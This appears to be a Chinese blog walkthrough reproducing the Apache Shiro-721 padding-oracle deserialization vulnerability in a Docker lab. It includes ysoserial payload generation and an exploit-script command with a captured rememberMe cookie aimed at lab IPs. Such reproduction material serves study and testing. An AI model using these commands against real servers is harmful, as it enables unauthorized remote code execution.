当前位置: 首页 > news >正文

Shiro-721---漏洞复现

漏洞原理

Shiro rememberMe 反序列化远程代码执行漏洞

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。

Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历 key 。

影响版本

Apache Shiro <= 1.4.1(需要一个合法的登录账号,基于Padding Oracle attack来实现的攻击)

通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。下面会有单独的篇幅讲Padding Oracle Attack。

shiro-721对cookie中rememberMe的值的解析过程

在这里插入图片描述

特征判断

由于漏洞利用需要一个合法的登录账号,这里利用账号正常登陆获取一个有效的rememberMe cookie ,并记录下这个rememberMe的值

docker环境搭建

方法一:

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

方法二:

docker pull vulfocus/shiro-721docker run -d -p 8080:8080 vulfocus/shiro-721

漏洞复现

先使用合法账户登陆,记得勾选remember Me,然后使用burp抓包获取cookie:
在这里插入图片描述
获取到cookie:
在这里插入图片描述
将其中的remember Me字段复制下来输入到工具中进行利用:

使用ysoserial工具生成payload

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/123" > payload.class
#"touch /tmp/123" 在tmp目录写入123

使用工具生成payload

脚本链接:https://github.com/wuppp/shiro_rce_exp python shiro_exp.py
http://192.168.88.130:8080 [rememberMeCookie] payload.class

python shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class

在这里插入图片描述

此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

在这里插入图片描述

最终会生成恶意的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看,会发现/tmp目录下被创建了一个123文件。

在这里插入图片描述

漏洞利用成功!

http://www.lryc.cn/news/64411.html

相关文章:

  • Linux【模拟实现C语言文件流】
  • APK文件结构
  • RabbitMQ死信队列延迟交换机
  • 武忠祥老师每日一题||不定积分基础训练(六)
  • C语言结构体详解
  • 非盲去模糊简单介绍
  • C语言动态内存管理与文件操作:打造高效通讯录
  • 2001-2021年全国30省就业人数数据
  • 自然语言处理知识抽取(pkuseg、DDParser安装及使用)
  • Linux内核面试知识总结
  • 深度学习模型压缩与优化加速
  • Kali 更换源(超详细,附国内优质镜像源地址)
  • Java版工程项目管理系统平台+java版企业工程系统源码+助力工程企业实现数字化管理
  • 搜索引擎测试报告
  • 4年的测试工程师,你遇到过自身瓶颈期吗?又是怎样度过的?
  • 【Python零基础学习入门篇④】——第四节:Python的列表、元组、集合和字典
  • 3.6 cache存储器
  • Ubuntu零基础安装
  • 热门的常用 API 大全分享
  • 利用粒子群算法设计无线传感器网络中的最优安全路由模型(Matlab代码实现)
  • 2023年华东杯数学建模B 题 期货价格相关性问题-思路解析
  • SAP UI5 之Controls (控件) 笔记三
  • 哈希表题目:设计地铁系统
  • 云时通OMS:为零售品牌商打造高效的全渠道订单管理!
  • 有必要给孩子买台灯吗?分享四款高品质的护眼台灯
  • 模板方法模式
  • 基于Yolov5的NEU-DET钢材表面缺陷检测,优化组合新颖程度较高:CVPR2023 DCNV3和InceptionNeXt,涨点明显
  • 【HarmonyOS】自定义组件之ArkUI实现通用标题栏组件
  • C#开发的OpenRA游戏的加载地图流程
  • python ast 详解与用法